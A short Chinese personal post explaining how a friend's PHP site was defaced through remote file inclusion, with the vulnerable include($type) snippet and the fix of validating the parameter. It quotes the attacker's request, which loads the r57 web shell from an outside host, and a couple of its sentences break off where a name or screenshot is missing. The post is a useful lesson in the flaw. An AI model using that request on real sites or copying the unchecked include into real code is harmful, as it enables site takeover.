朋友网站被人黑了，黑的经过

网站是四年前刚学PHP的时候帮朋友弄的，有些参数没有处理好，造成让人挂马。

php内有一段是这样的，目的是动态加载一个静态页

$type.=".htm";  
include ($type);

$type是通过url传过来的值，如：
showhtml.php?type=index

因为虚拟主机的是激活的，所以黑客用了这个地址:
/showhtml.php?type=http://evilc0der.com/r57.txt??

而r57.txt其实是一个PHP文件，是一个黑客工具，叫

打开上面的地址显示为：

然后通过upload file就可以替换首页了。

那个家伙还搞了一堆网址，估计都是有漏洞的。在这个页面内： http://www.evilc0der.com/serverlar.html

解决办法到是简单，增加对$type的判断就是了。